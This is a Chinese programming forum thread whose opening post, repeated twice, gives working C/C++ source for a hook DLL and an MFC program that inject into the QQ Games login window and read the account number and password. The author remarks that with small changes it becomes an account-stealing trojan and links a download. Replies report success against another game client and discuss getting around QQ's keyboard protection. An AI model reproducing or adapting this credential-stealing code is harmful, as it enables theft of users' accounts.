VC驿站

 找回密码
 加入驿站

QQ登录

只需一步,快速开始

搜索
查看: 5746|回复: 27

[交流] 通过HOOK获取QQ游戏登录密码(附:VC源码)

[复制链接]
51_avatar_middle
online_admins 发表于 2014-7-21 14:08:15 | 显示全部楼层 |阅读模式
通过HOOK获取QQ游戏登录密码(附:VC源码)
不得不先说一下API函数SendMessage:

使用SendMessage向编辑框窗口发送WM_GETTEST消息,可以轻易获取到编辑框的内容(就算这个窗口不属于同一进程)。
但是有一个特例,那就是当编辑框窗口具有ES_PASSWORD风格(即密码输入框)且不输入同一进程时,使用上面的方法就失效了。
通俗的说,就是当你要使用SendMessage读取的密码框不属于同一个进程时,是读取不到任何内容的。
这也许是微软从安全角度考虑做的手脚吧。

如何解决这个问题?
如果我们能将SendMessage放到目标进程中执行问题就解决了。因为属于同一个进程时使用SendMessage是可以读取到密码框的内

容的。
如何将SendMessage放到目标进程中执行呢?使用HOOK(或者进程注入)。

关于钩子(HOOK)

钩子(Hook),是Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口

可以是其他进程所创建的。
当消息到达后,在目标窗口处理函数之前处理它。钩子机制允许应用程序截获处理window消息或特定事件。
钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。每当特定的消息发出,在没有到达目的窗口前,钩子程序

就先捕获该消息,亦即钩子函数先得到控制权。

这时钩子函数即可以加工处理(改变)该消息,也可以不作处理而继续传递该消息,还可以强制结束消息的传递。

如何安装一个钩子?


使用API函数SetWindowsHookEx,原型及参数说明如下
HHOOK SetWindowsHookEx(
int idHook, // 钩子的类型,本例采用WH_CALLWNDPROC(窗口过程钩子)
HOOKPROC lpfn, // 钩子函数地址(即钩子函数的函数名)
HINSTANCE hMod, // 钩子函数所在的应用程序实例句柄,(本例为DLL的句柄)
DWORD dwThreadId // 目标线程ID,即钩子的宿主线程
);
注意:当最后一个参数为0时表示安装的是全局钩子,此时要求钩子函数必须要在DLL中。
MSDN上关于这个函数的说明很详细的。

准备活动做完了。下面是本程序的实现:


(1) GetWindowTextRemote.DLL


该DLL导出了一个函数GetWindowTextRemote,其它应用程序通过调用这个函数就能实现对其它应用程序密码编辑框内容的读取。

//-------------------------------------------------------
// GetWindowTextRemote
// 插入本DLL到远程进程
// 从远程编辑框控件中获取密码
//
// 返回值:读取到的密码字符数
//-------------------------------------------------------
__declspec(dllexport) int GetWindowTextRemote(HWND hWnd, LPSTR lpString)
{
g_hWnd = hWnd;
//给目标进程安装一个窗口过程钩子
g_hHook = SetWindowsHookEx(WH_CALLWNDPROC,(HOOKPROC)HookProc,
hDll, GetWindowThreadProcessId(hWnd,NULL) );
if( g_hHook==NULL ) {
lpString[0] = '\0';
return 0;
}
//注册一个消息,用于通知远程进程读取密码
if (WM_HOOKSPY == 0)
WM_HOOKSPY = RegisterWindowMessage( "WM_HOOKSPY_RK" );

// 向远程进程发送读取消息,触发其读取密码
SendMessage( hWnd,WM_HOOKSPY,0,0 );
strcpy( lpString,g_szPassword );

return strlen(lpString);
}

另一个重要的函数就是钩子过程了:
//-------------------------------------------------------
// HookProc
// 由远程进程执行
//-------------------------------------------------------
#define pCW ((CWPSTRUCT*)lParam)

LRESULT HookProc (
int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
//接收到读取密码消息
if( pCW->message == WM_HOOKSPY ) {
MessageBeep(MB_OK);
//读取密码编辑框的内容
SendMessage( g_hWnd,WM_GETTEXT,128,(LPARAM)g_szPassword );
//卸载钩子
UnhookWindowsHookEx(g_hHook );
}
//将消息处理权转让给下一个钩子函数
return CallNextHookEx(g_hHook, code, wParam, lParam);
}

注意:安装Hook的进程加载DLL,别的进程在运行的过程中,由系统在该进程空间注入这个DLL。所谓注入就是把Hook DLL的执行

代码映射到这个进程的内存空间。
虽然进程有若干个,可是该DLL的执行代码只有一份。
不同的进程全局Hook DLL的执行代码是共享的,可是全局变量并不共享(这样可以实现某种程度的隔离,对于增进系统的稳定性

和安全性是很有必要的)。

但是如果全局变量不共享,进程通信就会受限,比如本例中,在目标进程中使用SendMessage获取到的密码如何传递给安装HOOK的

进程就是一个问题?

解决这个问题的方法就是使用共享节,通过共享节可以使全部变量实现共享。如下所示:

//-------------------------------------------------------
// 共享数据区
// 共享数据区中的数据在DLL被映射的进程中都是共享的
//-------------------------------------------------------
#pragma data_seg (".shared")
HWND g_hWnd = 0; //要读取的编辑框控件句柄
HHOOK g_hHook = 0; //HOOK句柄
UINT WM_HOOKSPY = 0; //自定义消息,通知远程进程读取编辑框控件的内容
char g_szPassword [256] = { '\0' }; //保存编辑框控件的缓存区
#pragma data_seg ()

使用共享节时要添加如下的链接选项:
#pragma comment(linker,"/SECTION:.shared,RWS")

到此,DLL的内就结束了。
在此特别感谢codeproject的Robert Kuster,如果不是看了他的《Three Ways to Inject Your Code into Another Process》,

也不会有我的这篇日志。
完整的代码在附件中。


(2)测试程序-获取QQ游戏登录密码


接下来就是我们的测试程序了,这个测试程序实现的功能就是“获得QQ游戏登录框中的QQ号和密码”,这是一个MFC程序,关键代

码如下所示:

我为什么不获取QQ聊天登录窗口上的密码而要获取QQ游戏登录窗口上的QQ密码呢?
这是因为QQ聊天登录时,QQ程序做了特殊处理(Nprotect键盘加密技术),使用HOOK也是读取不到密码的。但QQ游戏登录时却没

有这样的保护。

//先获取QQ游戏登录窗口的句柄,然后遍历子窗口,查找号码输入框和密码输入框
void CGetWindowTextRemoteTestDlg::OnGetremotetext()
{
HWND parenthwnd=0;
HWND childhwnd=0;
DWORD style=0;
char tempbuf[256]={0};
//获取QQ游戏登录窗口句柄
parenthwnd=::FindWindow(NULL,"QQ游戏");
if(parenthwnd)
{
//遍历子窗口,查找QQ号和密码输入框
childhwnd=::GetWindow(parenthwnd,GW_CHILD);
childhwnd=::GetWindow(childhwnd,GW_HWNDFIRST);
while(childhwnd)
{
memset(tempbuf,0,256);
::GetClassName(childhwnd,tempbuf,256);
style=::GetWindowLong(childhwnd,GWL_STYLE);
//号码输入框
//远程进程的非密码框内容可以直接采用SendMessage发送WM_GETTEXT获取到
if(0x50010202==style)//号码输入框的样式是0x50010202,这是使用Spy++查看得知的。
{
memset(tempbuf,0,256);
::SendMessage(childhwnd,WM_GETTEXT,256,(LPARAM)tempbuf);
this->SetDlgItemText(IDC_NUMBER,tempbuf);
}
//密码输入框
//远程进程的密码框内容采用HOOK WH_CALLWNDPROC获取
if(0x52010020==style)
{
Getremotetext(childhwnd,tempbuf);
this->SetDlgItemText(IDC_PASSWORD,tempbuf);
}
childhwnd=::GetWindow(childhwnd,GW_HWNDNEXT);
}
}
}
//动态调用GetWindowTextRemote.DLL中的GetWindowTextRemote函数读取远程进程的密码编辑框内容
int Getremotetext(HWND hwnd,LPSTR tempbuf)
{
typedef int ( *GetWindowTextRemote)(HWND hWnd, LPSTR lpString);
GetWindowTextRemote getwindowtextremote=NULL;
HINSTANCE hDll=0;
int ret=0;
hDll=::LoadLibrary("GetWindowTextRemote.dll");
getwindowtextremote=(GetWindowTextRemote)::GetProcAddress(hDll,"GetWindowTextRemote");
ret=getwindowtextremote(hwnd,tempbuf);
return ret;
}


ok,到这里全部结束了。这个程序做一修改就是个盗号木马。写这篇日志仅作交流,本人不承担任何责任。


下载:
http://yunfile.com/file/azilljy/75e23ae7/




上一篇:魔兽争霸作弊辅助工具
下一篇:零基础学vc第二章

相关帖子

76_avatar_middle
在线会员 发表于 2010-11-23 09:07:06 | 显示全部楼层 |阅读模式
本帖最后由 azi6691 于 2010-11-23 09:07 编辑

通过HOOK获取QQ游戏登录密码(附:VC源码)
不得不先说一下API函数SendMessage:

使用SendMessage向编辑框窗口发送WM_GETTEST消息,可以轻易获取到编辑框的内容(就算这个窗口不属于同一进程)。
但是有一个特例,那就是当编辑框窗口具有ES_PASSWORD风格(即密码输入框)且不输入同一进程时,使用上面的方法就失效了。
通俗的说,就是当你要使用SendMessage读取的密码框不属于同一个进程时,是读取不到任何内容的。
这也许是微软从安全角度考虑做的手脚吧。

如何解决这个问题?
如果我们能将SendMessage放到目标进程中执行问题就解决了。因为属于同一个进程时使用SendMessage是可以读取到密码框的内

容的。
如何将SendMessage放到目标进程中执行呢?使用HOOK(或者进程注入)。

关于钩子(HOOK)

钩子(Hook),是Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口

可以是其他进程所创建的。
当消息到达后,在目标窗口处理函数之前处理它。钩子机制允许应用程序截获处理window消息或特定事件。
钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。每当特定的消息发出,在没有到达目的窗口前,钩子程序

就先捕获该消息,亦即钩子函数先得到控制权。

这时钩子函数即可以加工处理(改变)该消息,也可以不作处理而继续传递该消息,还可以强制结束消息的传递。

如何安装一个钩子?


使用API函数SetWindowsHookEx,原型及参数说明如下
HHOOK SetWindowsHookEx(
int idHook, // 钩子的类型,本例采用WH_CALLWNDPROC(窗口过程钩子)
HOOKPROC lpfn, // 钩子函数地址(即钩子函数的函数名)
HINSTANCE hMod, // 钩子函数所在的应用程序实例句柄,(本例为DLL的句柄)
DWORD dwThreadId // 目标线程ID,即钩子的宿主线程
);
注意:当最后一个参数为0时表示安装的是全局钩子,此时要求钩子函数必须要在DLL中。
MSDN上关于这个函数的说明很详细的。

准备活动做完了。下面是本程序的实现:


(1) GetWindowTextRemote.DLL


该DLL导出了一个函数GetWindowTextRemote,其它应用程序通过调用这个函数就能实现对其它应用程序密码编辑框内容的读取。

//-------------------------------------------------------
// GetWindowTextRemote
// 插入本DLL到远程进程
// 从远程编辑框控件中获取密码
//
// 返回值:读取到的密码字符数
//-------------------------------------------------------
__declspec(dllexport) int GetWindowTextRemote(HWND hWnd, LPSTR lpString)
{
g_hWnd = hWnd;
//给目标进程安装一个窗口过程钩子
g_hHook = SetWindowsHookEx(WH_CALLWNDPROC,(HOOKPROC)HookProc,
hDll, GetWindowThreadProcessId(hWnd,NULL) );
if( g_hHook==NULL ) {
lpString[0] = '\0';
return 0;
}
//注册一个消息,用于通知远程进程读取密码
if (WM_HOOKSPY == 0)
WM_HOOKSPY = RegisterWindowMessage( "WM_HOOKSPY_RK" );

// 向远程进程发送读取消息,触发其读取密码
SendMessage( hWnd,WM_HOOKSPY,0,0 );
strcpy( lpString,g_szPassword );

return strlen(lpString);
}

另一个重要的函数就是钩子过程了:
//-------------------------------------------------------
// HookProc
// 由远程进程执行
//-------------------------------------------------------
#define pCW ((CWPSTRUCT*)lParam)

LRESULT HookProc (
int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
//接收到读取密码消息
if( pCW->message == WM_HOOKSPY ) {
MessageBeep(MB_OK);
//读取密码编辑框的内容
SendMessage( g_hWnd,WM_GETTEXT,128,(LPARAM)g_szPassword );
//卸载钩子
UnhookWindowsHookEx(g_hHook );
}
//将消息处理权转让给下一个钩子函数
return CallNextHookEx(g_hHook, code, wParam, lParam);
}

注意:安装Hook的进程加载DLL,别的进程在运行的过程中,由系统在该进程空间注入这个DLL。所谓注入就是把Hook DLL的执行

代码映射到这个进程的内存空间。
虽然进程有若干个,可是该DLL的执行代码只有一份。
不同的进程全局Hook DLL的执行代码是共享的,可是全局变量并不共享(这样可以实现某种程度的隔离,对于增进系统的稳定性

和安全性是很有必要的)。

但是如果全局变量不共享,进程通信就会受限,比如本例中,在目标进程中使用SendMessage获取到的密码如何传递给安装HOOK的

进程就是一个问题?

解决这个问题的方法就是使用共享节,通过共享节可以使全部变量实现共享。如下所示:

//-------------------------------------------------------
// 共享数据区
// 共享数据区中的数据在DLL被映射的进程中都是共享的
//-------------------------------------------------------
#pragma data_seg (".shared")
HWND g_hWnd = 0; //要读取的编辑框控件句柄
HHOOK g_hHook = 0; //HOOK句柄
UINT WM_HOOKSPY = 0; //自定义消息,通知远程进程读取编辑框控件的内容
char g_szPassword [256] = { '\0' }; //保存编辑框控件的缓存区
#pragma data_seg ()

使用共享节时要添加如下的链接选项:
#pragma comment(linker,"/SECTION:.shared,RWS")

到此,DLL的内就结束了。
在此特别感谢codeproject的Robert Kuster,如果不是看了他的《Three Ways to Inject Your Code into Another Process》,

也不会有我的这篇日志。
完整的代码在附件中。


(2)测试程序-获取QQ游戏登录密码


接下来就是我们的测试程序了,这个测试程序实现的功能就是“获得QQ游戏登录框中的QQ号和密码”,这是一个MFC程序,关键代

码如下所示:

我为什么不获取QQ聊天登录窗口上的密码而要获取QQ游戏登录窗口上的QQ密码呢?
这是因为QQ聊天登录时,QQ程序做了特殊处理(Nprotect键盘加密技术),使用HOOK也是读取不到密码的。但QQ游戏登录时却没

有这样的保护。

//先获取QQ游戏登录窗口的句柄,然后遍历子窗口,查找号码输入框和密码输入框
void CGetWindowTextRemoteTestDlg::OnGetremotetext()
{
HWND parenthwnd=0;
HWND childhwnd=0;
DWORD style=0;
char tempbuf[256]={0};
//获取QQ游戏登录窗口句柄
parenthwnd=::FindWindow(NULL,"QQ游戏");
if(parenthwnd)
{
//遍历子窗口,查找QQ号和密码输入框
childhwnd=::GetWindow(parenthwnd,GW_CHILD);
childhwnd=::GetWindow(childhwnd,GW_HWNDFIRST);
while(childhwnd)
{
memset(tempbuf,0,256);
::GetClassName(childhwnd,tempbuf,256);
style=::GetWindowLong(childhwnd,GWL_STYLE);
//号码输入框
//远程进程的非密码框内容可以直接采用SendMessage发送WM_GETTEXT获取到
if(0x50010202==style)//号码输入框的样式是0x50010202,这是使用Spy++查看得知的。
{
memset(tempbuf,0,256);
::SendMessage(childhwnd,WM_GETTEXT,256,(LPARAM)tempbuf);
this->SetDlgItemText(IDC_NUMBER,tempbuf);
}
//密码输入框
//远程进程的密码框内容采用HOOK WH_CALLWNDPROC获取
if(0x52010020==style)
{
Getremotetext(childhwnd,tempbuf);
this->SetDlgItemText(IDC_PASSWORD,tempbuf);
}
childhwnd=::GetWindow(childhwnd,GW_HWNDNEXT);
}
}
}
//动态调用GetWindowTextRemote.DLL中的GetWindowTextRemote函数读取远程进程的密码编辑框内容
int Getremotetext(HWND hwnd,LPSTR tempbuf)
{
typedef int ( *GetWindowTextRemote)(HWND hWnd, LPSTR lpString);
GetWindowTextRemote getwindowtextremote=NULL;
HINSTANCE hDll=0;
int ret=0;
hDll=::LoadLibrary("GetWindowTextRemote.dll");
getwindowtextremote=(GetWindowTextRemote)::GetProcAddress(hDll,"GetWindowTextRemote");
ret=getwindowtextremote(hwnd,tempbuf);
return ret;
}


ok,到这里全部结束了。这个程序做一修改就是个盗号木马。写这篇日志仅作交流,本人不承担任何责任。


下载:
http://yunfile.com/file/azilljy/75e23ae7/
44_avatar_middle
在线会员 发表于 2010-11-23 09:11:19 | 显示全部楼层
抢个沙发坐坐
65_avatar_middle
在线会员 发表于 2010-11-23 15:55:02 | 显示全部楼层
这个一定得顶。。。。。。。谢谢分享
43_avatar_middle
在线会员 发表于 2010-11-23 16:13:26 | 显示全部楼层
额,现在的QQ应该能防这个吧!不过我只做过键盘钩子的!感觉做个驱动级别的更靠谱些。不过我这种方法没用过!没有发言权,还是回去试试!
43_avatar_middle
在线会员 发表于 2010-11-24 15:05:31 | 显示全部楼层
嗯试了试,没有QQ游戏,就对浩方试了试,果然有用
52_avatar_middle
在线会员 发表于 2010-12-1 10:02:08 | 显示全部楼层
不错哦!!!!
38_avatar_middle
在线会员 发表于 2010-12-1 10:05:12 | 显示全部楼层
like`通过HOOK获取QQ游戏登录密码(附:VC源码)
在线会员 匿名  发表于 1970-1-1 08:00:00
post_deleted
59_avatar_middle
在线会员 发表于 2011-1-19 10:20:19 | 显示全部楼层
本帖最后由 genime 于 2011-1-19 10:42 编辑

回复 azi6691 的帖子

自己写了一遍出现链接错误是怎么回事?
unresolved external symbol "public: int __thiscall CGetPassDlg::Getremotetext(struct HWND__ *,char *)" (?Getremotetext@CGetPassDlg@@QAEHPAUHWND__@@PAD@Z)
Debug/GetPass.exe : fatal error LNK1120: 1 unresolved externals
59_avatar_middle
在线会员 发表于 2011-1-19 10:38:45 | 显示全部楼层
而且用户账号得不到
59_avatar_middle
在线会员 发表于 2011-1-21 15:07:40 | 显示全部楼层
能不能解释一下这是怎么回事
70_avatar_middle
在线会员 发表于 2011-1-22 15:45:12 | 显示全部楼层
不要沉啊!我帮你顶上去!
60_avatar_middle
在线会员 发表于 2011-2-3 21:41:51 | 显示全部楼层
厉害啊  呵呵学习
37_avatar_middle
在线会员 发表于 2011-2-24 11:22:34 | 显示全部楼层
厉害啊,学习!
54_avatar_middle
在线会员 发表于 2011-3-1 09:16:56 | 显示全部楼层
基础的钩子技术唔,,对QQ本身肯定是无效的,,,不过QQ周边的产品登陆窗口安全机制很差,很简单就可以取得帐号。。。。   对于QQ本身那个登陆窗口。。。我用过很多方法都拿不到密码。。。 不过有个API可以检测到键盘状态,不过那个得到的密码是经过QQ加密以后的,再进行解密即可获得~~~这久都看这方面了~~突然看到楼主的帖子,,呵呵,,听好的,,写得真全
10_avatar_middle
在线会员 发表于 2011-3-4 19:03:14 | 显示全部楼层
没用额!!!
30_avatar_middle
在线会员 发表于 2011-6-5 19:44:16 | 显示全部楼层
通过HOOK获取QQ游戏登录密码(附:VC源码)试试
72_avatar_middle
在线会员 发表于 2011-6-24 10:21:45 | 显示全部楼层
一直想找到这个东西
36_avatar_middle
在线会员 发表于 2011-7-29 11:25:39 | 显示全部楼层
试试看看看
您需要登录后才可以回帖 登录 | 加入驿站 qq_login

本版积分规则

关闭

站长提醒上一条 /2 下一条

QQ|小黑屋|手机版|VC驿站 ( 辽ICP备09019393号tongdun|网站地图wx_jqr

GMT+8, 2019-3-26 03:25

Powered by Discuz! X3.4

© 2009-2019 cctry.com

快速回复 返回顶部 返回列表